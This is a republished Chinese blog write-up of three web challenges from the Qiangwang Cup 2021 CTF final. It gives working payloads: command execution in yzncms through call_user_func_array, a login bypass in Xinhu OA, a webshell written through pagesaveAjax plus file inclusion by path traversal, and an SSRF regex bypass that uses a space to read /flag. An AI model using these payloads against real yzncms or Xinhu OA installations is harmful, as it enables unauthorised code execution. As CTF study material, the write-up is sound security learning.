当前位置:网站首页>强网杯2021final
强网杯2021final
2022-08-10 16:51:00 【HhhM】
强网杯2021final
2021-07-13 22:07:00
ctf - qwb
mDMZ
yzncms,之前沉迷挖cnvd的时候挖过这个cms,基于tp开发的,所以直接就往控制器里面看了,最后在collection/Node/parseFunction处找到了一个call_user_func_array,如图:
因为args是从varArray中取到的,按着tp的这种调用模式match跟content都是可控的,那么接下来就直接任意代码执行了:
然后就是执行命令:match=system&content=ls
OA
一个信呼的oa,搜一下能找到这一篇:
https://www.cnblogs.com/p00mj/p/11797819.html
个人觉得审计php写的框架首先的话是需要看懂框架中对于函数的调用方式,项目中webmain类似于tp应用中的app/application,因此着重看这里面的代码,然后就是看函数的调用方式,如文章中提到的登陆验证绕过的路径:
?m=mode&d=task&a=init&adminid=0&token=11
对应于调用到webmain/task/mode/modeAction.php中的initAction函数,而需要了解到action.php中还有一些函数以Ajax结尾,如xxxAjax,调用他们的方式类似的,只需加上一个参数ajaxbool=true
。
在webmain/main/flow/flowAction.php中找到了如下:
public function pagesaveAjax()
{
$content = $this->post('content');
$num = $this->post('num');
$path = ''.P.'/flow/page/input_'.$num.'.html';
if(COMPANYNUM)$path = ''.P.'/flow/page/input_'.$num.'_'.COMPANYNUM.'.html';
$bo = $this->rock->createtxt($path, $content);
if(!$bo){
echo '无法写入文件:'.$path.'';
}else{
echo 'success';
}
}
可以写任意html,如:
http://localhost:9987/index.php?a=pagesave&m=flow&d=main&ajaxbool=true
post:
content=<?php system("ls");?>&num=a
会写到webmain/flow/page/input_a.html文件中,内容当然是content的值,接下来需要找一处文件包含的洞,在输错要调用的函数会发现:
index.php?a=c&m=b&d=a
//actionfile not exists;tpl_b_c.html not exists;
为了验证此处是否可进行文件包含,我写入了一个/../tpl_b_c,此时在page目录下新增了一个tpl_b_c.html,接下来是尝试去调用他,发现拼接后的路径是:
/var/www/html/webmain/flow/b/
那么也简单,写入一个num=/../tpl_page_c
,调用时则:
/index.php?a=c&m=page&d=flow
成功包含到了html文件,修改content执行任意代码。
rua
题目给了一个p.php跟一个file.php,p页面给的是phpinfo,file页面是一个file_get_contents参数可控的页面,直接访问/flag给出了一个docker,本地部署一下后可以获取到一些信息,如web,nginx的配置路径等。
因为flag不在本机上,因此先用file.php来扫描内网,扫到了172.19.0.3中存在了另一个file_get_contents,虽然参数可控但是需要发送post包,在/etc/nginx/conf.d/default.conf路径下找到了nginx的配置,其中给了一个/api,内容如下
用到它可以发送一个post包,但关键是如何绕过此处正则,根据配置文件的描述,假若我们传入:
api?url=http://www.baidu.com/
得到的domain是为www.baidu.com,那么比较有趣的点就是这个正则用的是\S,那么剩下的一个字符就是空格了,那么将空格放到其内即可绕过这一个正则:
payload:
http://172.19.0.3:80%20/index.php?//r3kapig.com/aaaa
post:
good_you_got_it_XD=/flag
本文原创于HhhM的博客,转载请标明出处。
边栏推荐
- 挑战用五行代码轻松集成登录系统,实现单点登录
- excel-方方格子插件-正则表达式,快速清洗数据的方法
- Shanxi: 1 death occurred in a coal mine safety accidents was ordered to halt production
- 还在用 Xshell?你 out 了,推荐一个更现代的终端连接工具,好用到爆!
- 【随笔】自己看的... 保存
- 烟雾、空气质量、温湿度...自己徒手做个环境检测设备
- 建筑施工员证怎么考?报名条件及报考时间是什么?
- v-model指令:获取和设置表单元素的值
- 被大厂面试官参考的Redis笔记,堪称Redis面试天花板
- x86 与 x64 架构下函数参数传递的区别【汇编语言】
猜你喜欢
随机推荐
为什么某互联网企业开200w年薪大家都支持,但是中金开100w年薪大家都在骂?...
阿里工作7年,肝到P8就剩这份学习笔记了,已助朋友拿到10个Offer
The sword refers to OfferⅡ 045. The bottommost leftmost value of the binary tree dfs
Pytorch GPU模型推理时间探讨2——显卡warm up
家电巨头,不碰儿童生意
挑战用五行代码轻松集成登录系统,实现单点登录
雷达存在感应器技术,实时感知控制应用,雷达人体探测方案
JWT 实现登录认证 + Token 自动续期方案
轮询以及webSocket与socket.io原理
使用Jedis连接linux上的redis
leetcode:1013. 将数组分成和相等的三个部分
【JDK】Oracle又一个JDK大版本停止扩展技术支持
一文带你拿下信号卷积—常见信号卷积
TradingView_学习笔记
自适应模糊神经网络与bp神经网络的区别
注解和反射、持续
2022 CCF China Open Source Conference Notice (Fourth Round)
excel-方方格子插件-正则表达式,快速清洗数据的方法
植物肉,为何在中国没法“真香”?
How to use bitwise operators in C language